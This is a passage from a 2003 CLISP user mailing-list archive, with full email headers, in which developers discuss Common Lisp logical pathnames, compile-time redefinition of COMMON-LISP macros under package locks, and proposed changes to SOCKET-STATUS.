namestring in ANSI CL. > CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar". This extension is non conforming. See CLHS for LOGICAL-PATHNAME. > I am not sure it would be better to treat it as "foo;bar". > > do the users really think that the latter is better? > > (note that it is not clear that this extension is useful at all: it is > a > big mistake of judgment to mix logical and physical pathnames) > I think CLisp should signal an error if LOGICAL-PATHNAME is passed a non logical pathname namestring. This would make it conforming and will allow you to write (more) portable code. I agree that mixing logical and non logical namestrings is fishy. Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From pascal@thalassa.informatimago.com Wed Jan 29 11:39:04 2003 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dy2f-00025B-00 for ; Wed, 29 Jan 2003 11:38:38 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 01ACD24E36; Wed, 29 Jan 2003 20:38:00 +0100 (CET) From: Pascal Bourguignon Message-ID: <15928.11672.941047.802220@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Marco Antoniotti Subject: Re: [clisp-list] logical-pathname In-Reply-To: <48AFA4AE-33A3-11D7-9CED-000393A70920@cs.nyu.edu> References: <20030129042732.5E94F238AE@thalassa.informatimago.com> <48AFA4AE-33A3-11D7-9CED-000393A70920@cs.nyu.edu> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 11:40:04 2003 X-Original-Date: Wed, 29 Jan 2003 20:38:00 +0100 Marco Antoniotti writes: > > The following discussion is moot since > > "/home/pascal/tmp/test/*" > > is not a logical pathname designator. pathspec---a logical pathname, a logical pathname namestring, or a stream. Oops, you're right. > This is a bug in CLisp, as it should signal an error, as per CLHS > definition of the function LOGICAL-PATHNAME. > > You may argue that the CLHS is bogus here, but that is a totally > different issue. Unfortunately, I hoped that it was only an implementation issue. I note that logical-pathname takes a stream too, and that a stream can be obtained from a pathname designator. So, I suppose that the only Common-Lisp compatible way to get a logical-pathname from an implementation dependant string is with: (let ((already-existed (open "/home/pascal/tmp/test/file" :direction :proble))) (prog1 (logical-pathname (open "/home/pascal/tmp/test/file" :direction :read :if-does-not-exist :create)) (unless already-existed (delete-file "/home/pascal/tmp/test/file")))) and this works only for files and when we have access rights to the directory. Anything else simplier? Well, once more I notice useless features in Common-Lisp, that is, features so ill-defined that you have to write your own. I'll parse namestrings myself and build pathnames by hand. Updated diagram: I notice that there is no way to get a logical-pathname but from a logicial-pathname-namestring. Is that correct? translate-logical-pathname parse-namestring pathname +---------------------+ +-------------------| pathname-designator | | +---------------------+ | * | | |make-pathname / \ | | /___\ | | | | | +----------------+------+---------------+ V V | | | +--------------+ +--------+ +------------+ | pathname | | stream | | namestring | +--------------+ +--------+ +------------+ | + device | | ^ | | + directory | | namestring | | | + host |----------------------------+ | | + name | | directory-namestring | | + type | | enought-namestring / \ | + version | | host-namestring /___\ +--------------+ | file-namestring | | | | +-----------------------+ / \ | +--| string-implementation | /___\ | | +-----------------------+ | | | +------------------+ V logical-pathname +-----------------------------+ | logical-pathname |<---------------------------| logical-pathname-namestring | +------------------+ ^ +-----------------------------+ | | +-----------+ -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From sds@gnu.org Wed Jan 29 11:43:14 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dy78-00048A-00 for ; Wed, 29 Jan 2003 11:43:14 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129194307.PNWA21001.pop015.verizon.net@loiso.podval.org> for ; Wed, 29 Jan 2003 13:43:07 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TJj6SM019911 for ; Wed, 29 Jan 2003 14:45:06 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TJj6xr019907; Wed, 29 Jan 2003 14:45:06 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 13:43:07 -0600 Subject: [clisp-list] Re: proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 11:44:03 2003 X-Original-Date: 29 Jan 2003 14:45:06 -0500 please read and try CVS head comments, bug reports and suggestions are welcome -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Between grand theft and a legal fee, there only stands a law degree. From marcoxa@cs.nyu.edu Wed Jan 29 12:01:10 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18dyOO-0006fG-00 for ; Wed, 29 Jan 2003 12:01:04 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0TK0pmD010144 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Jan 2003 15:00:52 -0500 (EST) Subject: Re: [clisp-list] logical-pathname Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <15928.11672.941047.802220@thalassa.informatimago.com> Message-Id: <5AFB7B0E-33C4-11D7-80FC-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 12:02:02 2003 X-Original-Date: Wed, 29 Jan 2003 15:00:46 -0500 On Wednesday, Jan 29, 2003, at 14:38 America/New_York, Pascal Bourguignon wrote: > > Marco Antoniotti writes: >> >> The following discussion is moot since >> >> "/home/pascal/tmp/test/*" >> >> is not a logical pathname designator. > > pathspec---a logical pathname, a logical pathname namestring, or a > stream. > > Oops, you're right. > >> This is a bug in CLisp, as it should signal an error, as per CLHS >> definition of the function LOGICAL-PATHNAME. >> >> You may argue that the CLHS is bogus here, but that is a totally >> different issue. > > Unfortunately, I hoped that it was only an implementation issue. > > > > I note that logical-pathname takes a stream too, and that a stream can > be obtained from a pathname designator. > > So, I suppose that the only Common-Lisp compatible way to get a > logical-pathname from an implementation dependant string is with: > > (let ((already-existed (open "/home/pascal/tmp/test/file" :direction > :proble))) > (prog1 (logical-pathname (open "/home/pascal/tmp/test/file" > :direction :read > :if-does-not-exist :create)) > (unless already-existed (delete-file > "/home/pascal/tmp/test/file")))) > > and this works only for files and when we have access rights to the > directory. Anything else simplier? No. AFAIU Even the above would not work. Check the spec for the function LOGICAL-PATHNAME. In the example above OPEN will return a PATHNAME not a LOGICAL-PATHNAME. Hence you cannot use LOGICAL-PATHNAME as you hope do do. In CL the process of translating a logical pathname is unidirectional and not reversible. Which is what it seems you are trying to do. > > > > > > Well, once more I notice useless features in Common-Lisp, that is, > features so ill-defined that you have to write your own. I'll parse > namestrings myself and build pathnames by hand. That is exactly the wrong approach. The pathname stuff in CL is difficult and sometime non univocally defined, but it works. What exactly are you trying to do? Note that your main entry points in the CL pathname subsystem are PARSE-NAMESTRING and LOGICAL-PATHNAME-TRANSLATIONS. If you stick to these you will solve most of your problems. ... > > I notice that there is no way to get a logical-pathname but from a > logicial-pathname-namestring. Is that correct? Yes (or from another logical pathname, or a stream with an associated logical pathname). Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From pascal@thalassa.informatimago.com Wed Jan 29 12:09:23 2003 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dyVs-0007wD-00 for ; Wed, 29 Jan 2003 12:08:51 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id BB8F724E36; Wed, 29 Jan 2003 21:08:01 +0100 (CET) From: Pascal Bourguignon Message-ID: <15928.13473.719312.796669@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical-pathname In-Reply-To: References: <20030129042732.5E94F238AE@thalassa.informatimago.com> <15928.8886.537897.980182@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 12:11:10 2003 X-Original-Date: Wed, 29 Jan 2003 21:08:01 +0100 Sam Steingold writes: > > : / denotes absolute pathnames <---------------- > > in physical pathnames. > > logical pathnames are quite different from physical ones. > to begin with, "/foo/bar" is __NOT__ a valid logical pathname > namestring in ANSI CL. In effect. I overlooked that. > CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar". > I am not sure it would be better to treat it as "foo;bar". The fact is that such behavior should not be depended upon. I guess that in these cases, it's better to raise an error. That would help the programmers to avoid lock themselves into incompatible idiosyncrasies. > do the users really think that the latter is better? > > (note that it is not clear that this extension is useful at all: it is a > big mistake of judgment to mix logical and physical pathnames) Writting a program, I have unix path strings (and regexp wildcards) in the configuration. I wanted to "abstract" them to ease portability and thus convert them to logical paths and only use logical path in the rest of the program. Well, it appears that logical pathnames are read only (can't generate a logical path name from a given configuration. At most I can convert my unix paths to (physical) pathnames. Since I can't convert to logical pathnames, I'd better manipulate the unix path strings directly (pathname wildcard is too restricted) or thru the pathname and forget logical pathnames. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From marcoxa@cs.nyu.edu Wed Jan 29 12:15:57 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18dycg-00015z-00 for ; Wed, 29 Jan 2003 12:15:51 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0TKFhB7010492 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Jan 2003 15:15:43 -0500 (EST) Subject: Re: [clisp-list] logical-pathname Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <15928.11672.941047.802220@thalassa.informatimago.com> Message-Id: <6E691505-33C6-11D7-80FC-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 12:16:22 2003 X-Original-Date: Wed, 29 Jan 2003 15:15:37 -0500 > > I notice that there is no way to get a logical-pathname but from a > logicial-pathname-namestring. Is that correct? > Just to make another argument about this. Suppose you have (setf (logical-pathname-translations "FOO") `(("**;*.*" "/usr/foo/*.*"))) (setf (logical-pathname-translations "GNAO") `(("**;*.*" "/usr/foo/*.*"))) The above is legal CL. Now you do (translate-logical-pathname "FOO:qwe;rty.c") ==> #p"/usr/foo/rty.c" (translate-logical-pathname "GNAO:qwe;rty.c") ==> #p"/usr/foo/rty.c" The question now is: what should the hypothetical (get-logical-pathname-from-namestring "/usr/foo/rty.c") return? Note that there are ways in CL to build a function that would return all the possible logical pathnames from an arbitrary pathname namestring. This involves keeping track of all the defined logical hosts and building a match with all possible translations. This is left as an easy exercise to the reader :) Jokes apart, what are you trying to do? Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Wed Jan 29 12:37:36 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18dyxe-0005kH-00 for ; Wed, 29 Jan 2003 12:37:30 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0TKaVB7011015 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Jan 2003 15:36:31 -0500 (EST) Subject: Re: [clisp-list] logical-pathname Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) Cc: clisp-list@lists.sourceforge.net To: From: Marco Antoniotti In-Reply-To: <15928.13473.719312.796669@thalassa.informatimago.com> Message-Id: <55FC5894-33C9-11D7-80FC-000393A70920@cs.nyu.edu> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 12:38:03 2003 X-Original-Date: Wed, 29 Jan 2003 15:36:25 -0500 On Wednesday, Jan 29, 2003, at 15:08 America/New_York, Pascal Bourguignon wrote: > > Writting a program, I have unix path strings (and regexp wildcards) in > the configuration. I wanted to "abstract" them to ease portability and > thus convert them to logical paths and only use logical path in the > rest of the program. Note that AFAIK, in any UNIX system it is very difficult to reliably specify something like (make-pathname :directory '(:relative "foo" :wild-inferiors "bar")) > > > Well, it appears that logical pathnames are read only (can't generate > a logical path name from a given configuration. At most I can convert > my unix paths to (physical) pathnames. Since I can't convert to > logical pathnames, I'd better manipulate the unix path strings > directly (pathname wildcard is too restricted) or thru the pathname > and forget logical pathnames. Noooooo. DO NOT DO THAT! Check out PARSE-NAMESTRING. If you have a "configuration" somewhere, it means that that is something you are loading up at start time. This means that you are better off setting up logical pathname translations to start with. Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Wed Jan 29 13:58:18 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18e0Dk-0005d0-00 for ; Wed, 29 Jan 2003 13:58:12 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0TLvXB7012820 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Jan 2003 16:57:33 -0500 (EST) Subject: Re: [clisp-list] logical-pathname Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) Cc: clisp-list@lists.sourceforge.net To: From: Marco Antoniotti In-Reply-To: <15928.15165.707427.583718@thalassa.informatimago.com> Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 13:59:02 2003 X-Original-Date: Wed, 29 Jan 2003 16:57:26 -0500 On Wednesday, Jan 29, 2003, at 15:36 America/New_York, Pascal Bourguignon wrote: > > Marco Antoniotti writes: >>> >>> I notice that there is no way to get a logical-pathname but from >>> a >>> logicial-pathname-namestring. Is that correct? >>> >> >> Just to make another argument about this. >> >> Suppose you have >> >> (setf (logical-pathname-translations "FOO") >> `(("**;*.*" "/usr/foo/*.*"))) >> >> (setf (logical-pathname-translations "GNAO") >> `(("**;*.*" "/usr/foo/*.*"))) >> >> The above is legal CL. Now you do >> >> (translate-logical-pathname "FOO:qwe;rty.c") >> ==> #p"/usr/foo/rty.c" >> >> (translate-logical-pathname "GNAO:qwe;rty.c") >> ==> #p"/usr/foo/rty.c" >> >> >> The question now is: what should the hypothetical >> >> (get-logical-pathname-from-namestring "/usr/foo/rty.c") >> >> return? >> >> Note that there are ways in CL to build a function that would return >> all the possible logical pathnames from an arbitrary pathname >> namestring. This involves keeping track of all the defined logical >> hosts and building a match with all possible translations. >> >> >> This is left as an easy exercise to the reader :) >> >> Jokes apart, what are you trying to do? > > Abstract the unix path name I have in the configuration of my program. > The current lisp code I have is emacs lisp where the paths are just > unix path strings. Ok. > > > In my case, since I start with "/usr/foo/rty.c" I'll stick to it, or > at most to (pathname (fetch-path-string-from-configuration)). > Yes. But this is a particular solution. Your question asked whether it was possible to do the reverse translation in general. How does this configuration file looks like? Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From pascal@thalassa.informatimago.com Wed Jan 29 16:27:54 2003 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e2Y1-0006Xf-00 for ; Wed, 29 Jan 2003 16:27:20 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 6700A23D13; Thu, 30 Jan 2003 01:26:14 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030130002614.6700A23D13@thalassa.informatimago.com> Subject: [clisp-list] bound symbols at compile-time? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 16:28:05 2003 X-Original-Date: Thu, 30 Jan 2003 01:26:14 +0100 (CET) Here is an extract of aima code: (http://www.cs.berkeley.edu/~russell/code/doc/install.html) whose purpose is to avoid redefining existing functions or macros: ------------------------------(bug-1.lisp)------------------------------ (defmacro define-if-undefined (&rest definitions) "Use this to conditionally define functions, variables, or macros that may or may not be pre-defined in this Lisp. This can be used to provide CLtL2 compatibility for older Lisps." `(progn ,@(mapcar #'(lambda (def) (let ((name (second def))) `(unless (or (boundp ',name) (fboundp ',name) (special-form-p ',name) (macro-function ',name)) ,def))) definitions))) (define-if-undefined (defmacro with-simple-restart (restart &rest body) "Like PROGN, except provides control over restarts if there is an error." (declare (ignore restart)) `(progn ,@body)) ) ------------------------------------------------------------------------ [pascal@thalassa pascal]$ clisp ;; Loading file /home/pascal/.clisprc.lisp ... ;; Loaded file /home/pascal/.clisprc.lisp [1]> (load "bug-1") T [2]> (compile-file "bug-1") Compiling file /home/pascal/src/common/lisp/clisp/bug-1.lisp ... ** - Continuable Error DEFUN/DEFMACRO(WITH-SIMPLE-RESTART): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [3]> I can't understand why when loading or evaluating directly the macro define-if-undefined, it detects correctly that WITH-SIMPLE-RESTART is FBOUNDP (in COMMON-LISP package), but that when compiling, it does not and tries to redefine it. I've tried to insert some (eval-when (compile load eval) ...) at various places, or even to use [the undocumented! even in the implementation notes] (ext:without-package-lock '("COMMON-LISP")...). I always get this: DEFUN/DEFMACRO(WITH-SIMPLE-RESTART): # is locked error. So please, how can one compile a source avoiding to redefine functions or macro already defined in COMMON-LISP under CLISP? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From sds@gnu.org Wed Jan 29 17:16:40 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e3Jo-0007om-00 for ; Wed, 29 Jan 2003 17:16:40 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030130011632.MOXN16306.out005.verizon.net@loiso.podval.org>; Wed, 29 Jan 2003 19:16:32 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0U1IZSM020393; Wed, 29 Jan 2003 20:18:35 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0U1IUd2020389; Wed, 29 Jan 2003 20:18:30 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bound symbols at compile-time? References: <20030130002614.6700A23D13@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030130002614.6700A23D13@thalassa.informatimago.com> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 19:16:32 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 17:17:16 2003 X-Original-Date: 29 Jan 2003 20:18:30 -0500 > * In message <20030130002614.6700A23D13@thalassa.informatimago.com> > * On the subject of "[clisp-list] bound symbols at compile-time?" > * Sent on Thu, 30 Jan 2003 01:26:14 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > I can't understand why when loading or evaluating directly the macro > define-if-undefined, it detects correctly that WITH-SIMPLE-RESTART is > FBOUNDP (in COMMON-LISP package), but that when compiling, it does not > and tries to redefine it. compiling the expression (when foo (bar)) requires compiling both FOO and BAR even if during evaluation FOO will turn out to be false and so (BAR) will never be called. > I've tried to insert some (eval-when (compile load eval) ...) at > various places, or even to use [the undocumented! even in the > implementation notes] (ext:without-package-lock '("COMMON-LISP")...). > So please, how can one compile a source avoiding to redefine functions > or macro already defined in COMMON-LISP under CLISP? (eval-when (compile load eval) (unless (defined-p 'FOO) (push :need-own-foo *features*))) #+:need-own-foo (defmacro foo ...) or just use #+ansi-cl :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Why do we want intelligent terminals when there are so many stupid users? From don-sourceforge@isis.cs3-inc.com Wed Jan 29 19:48:00 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e5gF-00025g-00 for ; Wed, 29 Jan 2003 19:48:00 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0U3jod24678; Wed, 29 Jan 2003 19:45:50 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.40941.801354.633909@isis.cs3-inc.com> To: Sam Steingold To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Re: proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 19:48:06 2003 X-Original-Date: Wed, 29 Jan 2003 19:45:49 -0800 > please read > (SOCKET:SOCKET-STREAM . direction) Return the status in the specified direction Just to be sure, this means if direction is :input then the value is one of nil, :input, :eof ? [All these questions should be explicit in doc.] Any direction other than :input or :output is an error? It would also be reasonable to make :io legal. If you want to avoid CONSing up a fresh list, you can make the elements of socket-stream-or-list to be (socket-stream direction . x) or (socket-stream) or You really have to change (socket-stream) to (socket-stream . x) since after the first call that's what it'll be. At least for x in the set of results (not (cons direction x)), And similarly for socket-server below. (socket-server). Then SOCKET:SOCKET-STATUS will destructively modify its argument and replace x or NIL with the status and return the modified list. It's also an error to supply a list where some elements are of that form and others are not? The second value returned is the number of objects with non-NIL status, i.e., "actionable" objects. This is for both cases of lists (mapcar and destructive) ? I suggest that the direction inputs be changed from {input, output, nil} to {input, output, io} and get rid of (stream . x) in favor of (stream :io . x) I'd still like to know what the timeout is all about. What information is not available immediately? If status starts out as :output then if I wait it might change to :io 